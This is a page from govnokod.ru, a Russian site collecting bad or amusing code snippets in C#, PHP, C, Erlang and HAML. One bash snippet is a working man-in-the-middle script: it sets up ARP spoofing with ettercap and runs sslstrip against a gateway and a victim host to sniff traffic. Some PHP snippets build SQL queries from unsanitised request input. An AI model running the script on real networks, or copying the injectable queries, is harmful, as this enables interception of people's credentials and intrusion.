- 1
- 2
= simple_fields_for @med_program_template do |f|
- form ||= f # Страшное коварство
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
−126
= simple_fields_for @med_program_template do |f|
- form ||= f # Страшное коварство
+95
double[,] ThreadMatrixMult(int size, double[,] m1, double[,] m2)
{
double[,] result = new double[size, size];
var threads = new List<Thread>(size);
for (int i = 0; i < size; i++)
{
var t = new Thread( ti =>
{
int ii = (int)ti;
for (int j = 0; j < size; j++)
{
result[ii, j] = 0;
for (int k = 0; k < size; k++)
{
result[ii, j] += m1[ii, k] * m2[k, j];
}
}
});
threads.Add(t);
t.Start(i);
}
foreach (Thread thread in threads)
thread.Join();
return result;
}
+91
<? die;
if($_GET['tn'])
{
if(($i = $conf['settings'][$s = "{$arg['modpath']}=>img"]) && ($img = explode(",", $i))){ $tn = array_combine($img, $img); }else{
$tn = array($_GET['tn']=>preg_replace('/[^0-9a-z_]/', '', $_GET['tn']));
} $sql = "SELECT `". mpquot($_GET['fn'] ? $_GET['fn'] : "img"). "` FROM {$conf['db']['prefix']}{$arg['modpath']}_{$tn[$_GET['tn']]} WHERE id=".(int)$_GET['id'];
$file_name = mpopendir("include")."/".($fn = mpql(mpqw($sql), 0, ($_GET['fn'] ? $_GET['fn'] : "img")));
if(!array_search(array_pop(explode('.', $file_name)), array(1=>"jpg", "jpeg", "png", "gif"))){
$file_name = mpopendir("img/ext/". array_pop(explode('.', $file_name)). ".png");
}
}else{
$file_name = mpopendir("modules/{$arg['modpath']}/img/". basename($_GET['']));
} header ("Content-type: image/". array_pop(explode('.', $file_name)));
echo mprs($file_name, $_GET['w'], $_GET['h'], $_GET['c']);
?>
это не шуууутки мы встретились в маршруууутке
+151
$friends = mysql_query("(SELECT * FROM `friends` WHERE `from` LIKE '{$act}' AND `to` LIKE '{$act}' AND `isaccepted` = '1') UNION (SELECT `id` , `name` , `surname` FROM `users_info`);");
$friend = array();$loop=0;
while($fetch = mysql_fetch_assoc($friends)) {
if ($fetch['from'] == $act) $search=$fetch['to']; else $search=$fetch['from'];
$friend[$loop]=mysql_fetch_assoc(mysql_query("SELECT `id`,`name`,`surname` FROM `users_info` where `id`='{$search}'"));
$loop++;
}
Почему не работает?
+121
class Program
{
static int x = 0;
static int f()
{
x = x + 10;
return 1;
}
public static void Main()
{
x += f();
System.Console.WriteLine(x);
}
}
Следите за руками! Чему же в итоге равно x?
Проверить себя: http://ideone.com/v8rktM
Источник: http://blogs.msdn.com/b/oldnewthing/archive/2014/08/14/10549885.aspx
−165
passport integer
Из дипломной работы. Человек хоть раз открывал свой паспорт?
+136
private Action<Action, Action<Exception>> ToCallbackAction(Action a)
{
return (sc, ec) =>
{
try
{
a();
sc();
}
catch (Exception e)
{
ec(e);
}
};
}
толково или говно? Мнения разделились
−129
#!/bin/bash
FILE="/proc/sys/net/ipv4/ip_forward"
echo "Время Наименование Статус" >> /tmp/for_log.list
echo "______________________________________________________________" >> /tmp/for_log.list
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
IP_FORWARD(){
while true; do
CT_FORWARD=`cat /proc/sys/net/ipv4/ip_forward`
if [ "$CT_FORWARD" = 1 ] ;then
echo > /dev/null
else
echo "1" > $FILE
fi
#sleep 3
done
}
CON_ETHERNET(){
while true; do
echo $(date +%H:%M:%S)" Проверка интернет соединения в обработке" >> /tmp/for_log.list
ping -c 3 ya.ru > /dev/null
if [ $? = "0" ];then
echo $(date +%H:%M:%S)" Подключение к интернет есть" >> /tmp/for_log.list
START_SNIFFIG
else
echo $(date +%H:%M:%S)" Нет интернет подключение fail" >> /tmp/for_log.list
if [ "`ps sx | grep sslstrip | grep -v grep | awk '{ print $10; }'`" = "sslstrip" ];then
$POSE=`ps sx | grep sslstrip | grep -v grep | awk '{ print $2; }'`
kill -9 $POSE >rpmlist 2> /dev/null
echo "Процесс sslstrip... убит"
echo $(date +%H:%M:%S)" Процесс sslstrip убит" >> /tmp/for_log.list
else
echo > /dev/null
fi
if [ "`ps sx | grep tcpdump | grep -v grep | awk '{ print $10; }'`" = "tcpdump" ];then
kill -9 `ps all | grep ettercap | grep -v grep | awk '{ print $3; }'` >rpmlist 2> /dev/null
echo
echo "Процесс ettercap... убит"
echo $(date +%H:%M:%S)" Процесс ettercap убит" >> /tmp/for_log.list
kill -9 `ps all | grep sslstrip | grep -v grep | awk '{ print $2; }'` >rpmlist 2> /dev/null
echo
echo "Процесс sslstrip... убит"
echo $(date +%H:%M:%S)" Процесс sslsrip убит" >> /tmp/for_log.list
else
echo > /dev/null
fi
fi
sleep 120
done
}
START_SNIFFIG(){
#Проверяем, запущен ли уже сниффер
sleep 4
CHECK_SSLSTRIP=`ps sx | grep sslstrip | grep -v grep | awk '{ print $10; }'`
if [ "$CHECK_SSLSTRIP" = "sslstrip" ];then
echo $(date +%H:%M:%S)" Процесс sslstrip включен" >> /tmp/for_log.list
echo > /dev/null
else
#sslstrip -a -k -f & ettercap -i wlan3 -TqM arp:remote -L $(date +%d-%m-%Y__%H:%M) /192.168.1.1/ /192.168.1.102/
echo $(date +%H:%M:%S)" Включаю sslstrip включен успешно" >> /tmp/for_log.list
sslstrip -a -f &
fi
CHECK_ETTERCAP=`ps all | grep ettercap | grep -v grep | awk '{ print $13; }'`
if [ "$CHECK_ETTERCAP" = "ettercap" ];then
echo $(date +%H:%M:%S)" Процесс ettercap включен" >> /tmp/for_log.list
else
echo $(date +%H:%M:%S)" Включаю etttercap включен успешно" >> /tmp/for_log.list
ettercap -i wlan0 -L $(date +%H:%M:%S) -TqM arp:remote -P autoadd /192.168.1.1/ /192.168.1.102/ &
fi
}
IP_FORWARD & CON_ETHERNET
1. Проверяет интернет соединение
2. При наличии инета врубает sslstrip и ettercap
3. Если инета нету, ждем 2 минуты, и повторяем проверку заного
___________
Галимый полуавтоматический скрипт, писал челу под телефон на котором виртуалка линухи
+131
#include <stdio.h>
#include <stdlib.h>
/*
Declare array of functions that return array of functions with
one parameter - function accepting array of functions returning
a pointer to function void(void). No typedefs.
Decoded to the following:
1) An array of E.
2) E = a function that takes void and returns an array of D (returns an array taken to mean a pointer to D).
3) D = a function that takes C and returns void.
4) C = a function that takes an array of B and returns void.
5) B = a function that takes void and returns A.
6) A = a pointer to void(void).
*/
/* Using typedefs */
typedef void (*tA) (void);
typedef tA (*tB) (void);
typedef void (*tC) (tB b[]);
typedef void (*tD) (tC c);
typedef tD* (*tE) (void);
tE tArray[2];
/* Not using typedefs */
void (*_A) (void);
void (* (*_B) (void) ) (void);
void (*_C) ( void (* (*_B[]) (void) ) (void) );
void (*_D) ( void (*_C) ( void (* (*_B[]) (void) ) (void) ) );
void (** (*_E) (void) ) ( void (*_C) ( void (* (*_B[]) (void) ) (void) ) );
void (** (*_Array[2]) (void) ) ( void (*_C) ( void (* (*_B[]) (void) ) (void) ) );
/* Some concrete functions for testing */
void fA(void)
{
printf("fA\n");
}
tA fB(void)
{
printf("fB\n");
return &fA;
}
void fC(tB b[])
{
tA _a;
printf("fC\n");
_a = (*b[0])();
(*_a)();
}
void fD(tC c)
{
tB b[1];
printf("fD\n");
b[0] = &fB;
(*c)(b);
}
tD* fE(void)
{
tD *d;
printf("fE\n");
d = malloc(sizeof(tD));
d[0] = &fD;
return d;
}
int main()
{
tA _a;
tB _b;
tC _c;
tD _d;
tE _e;
tB b[1];
tD *d;
_a = &fA;
_A = &fA;
printf("_a\n");
(*_a)();
printf("_A\n");
(*_A)();
_b = &fB;
_B = &fB;
printf("_b\n");
_a = (*_b)();
(*_a)();
printf("_B\n");
_a = (*_B)();
(*_a)();
_c = &fC;
_C = &fC;
b[0] = _b;
printf("_c\n");
(*_c)(b);
printf("_C\n");
(*_C)(b);
_d = &fD;
_D = &fD;
printf("_d\n");
(*_d)(&fC);
printf("_D\n");
(*_D)(&fC);
_e = &fE;
_E = &fE;
printf("_e\n");
d = (*_e)();
(*d[0])(&fC);
free(d);
printf("_E\n");
d = (*_E)();
(*d[0])(&fC);
free(d);
printf("tArray\n");
tArray[0] = &fE;
d = (*tArray[0])();
(*d[0])(&fC);
free(d);
printf("_Array\n");
_Array[0] = &fE;
d = (*_Array[0])();
(*d[0])(&fC);
free(d);
return 0;
}
+129
Func = fun(X, Y) -> if X > Y -> true; true -> false end end,
...
Из одного из видеоуроков по Erlang.
Удивлюсь, как можно было даже в этом языке сделать boolshit...